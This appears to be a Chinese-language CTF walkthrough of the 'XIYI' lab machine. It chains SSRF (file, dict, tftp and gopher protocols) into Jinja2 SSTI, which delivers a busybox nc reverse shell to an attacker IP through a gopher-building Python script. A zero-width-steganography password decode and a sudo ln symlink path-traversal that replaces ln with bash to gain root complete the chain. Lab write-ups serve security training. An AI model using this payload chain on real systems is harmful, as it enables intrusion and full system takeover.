MazeSec XIYI
# 信息收集
# 存活主机发现
arp扫描
┌──(npc㉿kali)-[~/mazesec/XIYI]
└─$ sudo arp-scan -I eth1 192.168.56.0/24
192.168.56.1 0a:00:27:00:00:11 (Unknown: locally administered)
192.168.56.129 08:00:27:ce:0e:fb PCS Systemtechnik GmbH
1
2
3
4
5
2
3
4
5
# 端口扫描
tcp全端口扫描
┌──(npc㉿kali)-[~/mazesec/XIYI]
└─$ nmap -p- -sT 192.168.56.129
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
2
3
4
5
6
# 80 端口服务探测
访问80端口,存在ssrf漏洞,可以使用file协议读取文件

# SSRF + dict协议 内网端口扫描
利用这里的ssrf漏洞,使用dict协议扫描内网开放端口
放到burp里,爆破全端口
开放了80、2333、2332

# 内网端口服务探测
ssrf访问内网2333端口,提示get app.py

ssrf访问内网2332端口,提示get reply.py

# ssrf + tftp 读取文件源码
使用tftp协议读取app.py源码
url=tftp://localhost/app.py
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
return "get app.py"
@app.route('/render', methods=['POST'])
def render():
try:
data = request.get_data(as_text=True)
if data:
# 直接渲染 - 存在SSTI漏洞
result = render_template_string(data)
return result
return "No data"
except Exception as e:
return f"Error: {str(e)}"
if __name__ == '__main__':
app.run(host='127.0.0.1', port=2333, debug=False, threaded=True)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
使用tftp协议读取reply.py源码
url=tftp://localhost/reply.py
from flask import Flask, request
import socket
import threading
app = Flask(__name__)
def forward_to_2333(data):
def forward():
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect(('127.0.0.1', 2333))
# 构建HTTP POST请求
http_request = f"""POST /render HTTP/1.1
Host: 127.0.0.1:2333
Content-Type: text/plain
Content-Length: {len(data)}
Connection: close
""".replace('\n', '\r\n').encode() + data
s.send(http_request)
# 接收响应但不处理
response = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except:
pass # 忽略所有错误
# 在后台线程中执行转发
thread = threading.Thread(target=forward)
thread.daemon = True
thread.start()
@app.route('/', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD'])
def relay():
try:
# 获取原始数据
raw_data = request.get_data()
# 在后台转发到2333端口
if raw_data:
forward_to_2333(raw_data)
# 无论什么情况都返回OK
return "get reply.py"
except Exception:
# 即使出错也返回OK
return "get reply.py"
if __name__ == '__main__':
app.run(host='127.0.0.1', port=2332, debug=False, threaded=True)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
reply.py是一个中继服务,将收到的请求数据转发到2333端口,并且不处理响应,始终返回"get reply.py"。
2333端口存在SSTI漏洞,可以进行模板注入攻击。
# SSTI漏洞getshell
利用Jinja2模板注入漏洞,执行系统命令获取反弹shell
{{url_for.__globals__.__builtins__['eval']('__import__("os").popen("busybox nc 192.168.56.100 4444 -e bash").read()')}}
1
现在只有一个ssrf漏洞,可以通过gopher协议构造请求,让ai写了一个蹩脚的脚本
import urllib.parse
def build_gopher_post_request(host, port, path, headers, data):
"""构造Gopher协议的POST请求"""
http_request = f"POST {path} HTTP/1.1\r\n"
for key, value in headers.items():
http_request += f"{key}: {value}\r\n"
http_request += "\r\n"
http_request += data
print("=== 原始HTTP请求 ===")
print(repr(http_request))
print("=" * 50)
gopher_payload = http_request.replace("\r\n", "%0D%0A")
gopher_payload = urllib.parse.quote(gopher_payload, safe='')
gopher_url = f"gopher://{host}:{port}/_{gopher_payload}"
return gopher_url
# 修正后的请求参数
host = "127.0.0.1"
port = "2333"
path = "/render"
# 反弹shell
data = """{{url_for.__globals__.__builtins__['eval']('__import__("os").popen("busybox nc 192.168.56.100 4444 -e bash").read()')}}"""
content_length = len(data)
headers = {
"Host": "127.0.0.1",
"Content-Type": "text/plain",
"Content-Length": str(content_length)
}
print("=== 数据信息 ===")
print(f"数据内容: {data}")
print(f"数据长度: {content_length} 字符")
gopher_url = build_gopher_post_request(host, port, path, headers, data)
print("=== 生成的Gopher URL ===")
print(f"URL长度: {len(gopher_url)} 字符")
print("Gopher URL:")
print(gopher_url)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
运行,得到一大坨payload

放到ssrf参数里,通过gopher协议,向内网2333端口发送POST请求,触发SSTI漏洞,执行反弹shell命令

# shell as lemon
# 零宽字符信息隐写
在 /var/www/html/目录下有一个secret_of_lemon.txt 文件,xxd 命令读取,有很多不可见字符

使用纯16进制读取
www-data@XIYI:~/html$ xxd -p sec*
xxd -p sec*
23204c61737420757064617465643a20323032332d31312d31350a6e6f74
68696e6720686572650a2320e2808be2808ce2808ce2808be2808ce2808c
e2808be2808be2808be2808ce2808ce2808be2808be2808ce2808be2808c
e2808be2808ce2808ce2808be2808ce2808ce2808be2808ce2808be2808c
e2808ce2808be2808ce2808ce2808ce2808ce2808be2808ce2808ce2808b
e2808ce2808ce2808ce2808be2808be2808be2808ce2808ce2808ce2808b
e2808ce2808be2808be2808ce2808be2808ce2808be2808ce2808ce2808b
e2808be2808ce2808ce2808be2808be2808ce2808be2808ce2808be2808c
e2808ce2808ce2808be2808be2808ce2808be2808be2808ce2808ce2808c
e2808ce2808be2808be2808ce2808be2808ce2808be2808ce2808ce2808c
e2808ce2808ce2808be2808ce2808ce2808ce2808be2808be2808ce2808c
e2808be2808ce2808ce2808be2808ce2808ce2808ce2808ce2808be2808c
e2808ce2808ce2808be2808ce2808be2808ce2808be2808ce2808ce2808c
e2808be2808be2808ce2808be2808be2808ce2808be2808ce2808ce2808c
e2808ce2808ce2808be2808ce2808ce2808be2808ce2808ce2808be2808b
e2808be2808ce2808ce2808be2808be2808ce2808be2808ce2808be2808c
e2808ce2808be2808ce2808ce2808be2808ce2808be2808ce2808ce2808b
e2808ce2808ce2808ce2808ce2808be2808ce2808ce2808be2808ce2808c
e2808ce2808b0a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
准备一个python脚本,解析零宽字符
import re
def decode_hex_with_zero_width(hex_string):
"""解密包含零宽度字符的十六进制数据"""
# 清理并解码十六进制
clean_hex = ''.join(c for c in hex_string if c in '0123456789abcdefABCDEF')
text = bytes.fromhex(clean_hex).decode('utf-8', errors='ignore')
# 提取零宽度字符
zw_chars = re.findall(r'[\u200b-\u200e]', text)
if not zw_chars:
return "未找到隐藏信息"
# 二进制解码 (ZWS=0, 其他=1)
binary = ''.join('0' if c == '\u200b' else '1' for c in zw_chars)
# 尝试8位解码
if len(binary) % 8 == 0:
decoded = ''.join(chr(int(binary[i:i+8], 2)) for i in range(0, len(binary), 8))
return decoded
return "解码失败"
# 您的十六进制数据
hex_data = """
23204c61737420757064617465643a20323032332d31312d31350a6e6f74
68696e6720686572650a2320e2808be2808ce2808ce2808be2808ce2808c
e2808be2808be2808be2808ce2808ce2808be2808be2808ce2808be2808c
e2808be2808ce2808ce2808be2808ce2808ce2808be2808ce2808be2808c
e2808ce2808be2808ce2808ce2808ce2808ce2808be2808ce2808ce2808b
e2808ce2808ce2808ce2808be2808be2808be2808ce2808ce2808ce2808b
e2808ce2808be2808be2808ce2808be2808ce2808be2808ce2808ce2808b
e2808be2808ce2808ce2808be2808be2808ce2808be2808ce2808be2808c
e2808ce2808ce2808be2808be2808ce2808be2808be2808ce2808ce2808c
e2808ce2808be2808be2808ce2808be2808ce2808be2808ce2808ce2808c
e2808ce2808ce2808be2808ce2808ce2808ce2808be2808be2808ce2808c
e2808be2808ce2808ce2808be2808ce2808ce2808ce2808ce2808be2808c
e2808ce2808ce2808be2808ce2808be2808ce2808be2808ce2808ce2808c
e2808be2808be2808ce2808be2808be2808ce2808be2808ce2808ce2808c
e2808ce2808ce2808be2808ce2808ce2808be2808ce2808ce2808be2808b
e2808be2808ce2808ce2808be2808be2808ce2808be2808ce2808be2808c
e2808ce2808be2808ce2808ce2808be2808ce2808be2808ce2808ce2808b
e2808ce2808ce2808ce2808ce2808be2808ce2808ce2808be2808ce2808c
e2808ce2808b0a
"""
# 执行解密
result = decode_hex_with_zero_width(hex_data)
print(result)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
可以解出一个lemon:Very_sour_lemon的用户密码

ssh 登录

# root 提权
sudo 权限枚举
lemon@XIYI:~$ sudo -l
Matching Defaults entries for lemon on XIYI:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lemon may run the following commands on XIYI:
(root) NOPASSWD: /usr/bin/ln -sf * /usr/lib/mysql/plugin/*
1
2
3
4
5
6
2
3
4
5
6
lemon 用户有sudo权限的ln命令,可以创建符号链接覆盖文件
使用路径穿越的方式,使用bash覆盖ln命令,这样再执行sudo ln命令时,实际执行的是sudo bash,从而获得root权限
lemon@XIYI:~$ sudo /usr/bin/ln -sf /bin/bash /usr/lib/mysql/plugin/../../../../../../../../../usr/bin/ln
lemon@XIYI:~$ touch /tmp/111
lemon@XIYI:~$ sudo /usr/bin/ln -sf /tmp/111 /usr/lib/mysql/plugin/111
root@XIYI:~#
1
2
3
4
2
3
4

编辑 (opens new window)
最后一次更新于: 2025/11/13, 23:21:39